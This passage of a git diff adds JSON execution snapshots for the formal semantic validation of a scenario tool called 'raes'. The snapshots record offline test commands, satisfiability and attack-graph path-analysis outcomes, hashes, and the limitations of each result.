"issue-1223-execution-v28", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v28", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "790b933a2e45269c7628ef83da0f6d85bc22c364", + "source_state": { + "base_revision": "790b933a2e45269c7628ef83da0f6d85bc22c364", + "checkout_state": "modified", + "implementation_digest": "48afb9c43cfd638baba4da9a68f7b8860036552c1cf3b6c68264f6b2c8421cea", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.13.13", + "raes": "3.5.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v29.json b/docs/research/formal-semantic-validation/execution-snapshot-v29.json new file mode 100644 index 000000000..3292ac977 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v29.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1223-execution-v28", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v28.json", + "release_revision": "29.0.0", + "release_sha256": "bf25c55894e137cc82eaca2a5c6869dda5ab88c238e6caf7c96d9d26e4bfa9e2" + }, + "captured_at": "2026-09-17T06:16:38+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v29", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-1297-execution-v29", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1297-execution-v29", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "be4e7786c6b1320898bdd1f5057dbb98a41297eb", + "source_state": { + "base_revision": "be4e7786c6b1320898bdd1f5057dbb98a41297eb", + "checkout_state": "modified", + "implementation_digest": "a2d92496952f753472691119cd438fa6953e5222660b6086305872a8eeaca844", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.13.13", + "raes": "3.5.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v30.json b/docs/research/formal-semantic-validation/execution-snapshot-v30.json new file mode 100644 index 000000000..80cf9e674 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v30.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1297-execution-v29", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v29.json", + "release_revision": "30.0.0", + "release_sha256": "9e1636d649cac9efce637e1eb32675ca14d0f4265f4206c57aede836b26abe38" + }, + "captured_at": "2026-09-17T22:34:13+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + 